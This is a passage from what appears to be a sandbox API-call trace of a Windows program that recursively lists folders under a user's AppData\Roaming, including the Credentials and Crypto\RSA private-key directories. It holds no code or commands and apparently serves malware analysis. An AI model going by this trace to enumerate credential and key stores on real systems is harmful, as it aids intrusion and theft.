Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned 104 [0116.663] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0116.664] FindNextFileW (in: hFindFile=0x85b360, lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 1 [0116.664] FindNextFileW (in: hFindFile=0x85b360, lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 1 [0116.664] wvnsprintfW (in: pszDest=0x2a6c438, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 115 [0116.664] FindNextFileW (in: hFindFile=0x85b360, lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0 [0116.664] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0116.664] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0116.664] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.664] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.664] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.665] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.665] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0 [0116.665] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.665] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\MAVic_ypvaRu.m4a") returned 56 [0116.665] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.665] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft") returned 49 [0116.665] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\*") returned 51 [0116.665] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.665] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.665] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access") returned 56 [0116.665] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access\\*") returned 58 [0116.665] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.665] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.665] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned 74 [0116.665] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.665] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned 67 [0116.665] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.665] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.666] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\AddIns") returned 56 [0116.666] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned 58 [0116.666] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.666] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.666] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.666] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.666] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.666] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography") returned 62 [0116.666] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned 64 [0116.666] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.666] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.666] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.666] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 68 [0116.666] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned 70 [0116.666] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 100 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 80 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 75 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 81 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 82 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 102 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 93 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 79 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 87 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 102 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 79 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.712] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 81 [0116.712] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.712] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.713] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.713] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.713] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.713] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Credentials") returned 61 [0116.713] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned 63 [0116.713] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.713] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.713] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.713] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.713] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.713] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto") returned 56 [0116.713] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned 58 [0116.713] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.713] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.713] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.713] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 60 [0116.713] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned 62 [0116.713] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.713] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.713] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.713] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000") returned 105 [0116.714] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000\\*") returned 107 [0116.714] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.722] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.722] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.722] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000\\83aa4cc77f591dfc2374580bbd95f6ba_f9a82aba-5282-413b-8e64-6e5ff267616b") returned 175 [0116.722] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.722] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000\\88a44d16617fe2544b311ac47c14c7c0_f9a82aba-5282-413b-8e64-6e5ff267616b") returned 175 [0116.722] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.722] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.722] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.722] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.722] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.722] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.722] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.722] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 74 [0116.722] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned 76 [0116.722] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.723] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.723] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.723] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned 79 [0116.723] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned 81 [0116.723] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.723] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.723] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.723] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\15") returned 82 [0116.723] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\15\\*") returned 84 [0116.723] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\15\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.723] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.723] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.723] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\15\\Built-In Building Blocks.dotx") returned 112 [0116.723] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.724] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.724] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.724] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.724] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel") returned 55 [0116.724] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\*") returned 57 [0116.724] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.724] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.724] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned 63 [0116.724] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned 65 [0116.724] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.724] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.724] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.724] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.724] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Forms") returned 55 [0116.724] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Forms\\*") returned 57 [0116.724] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Forms\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.725] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.725] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.725] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.725] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.725] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IME12") returned 55 [0116.725] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IME12\\*") returned 57 [0116.725] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.726] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.726] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.726] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.726] FindNextFileW (in: 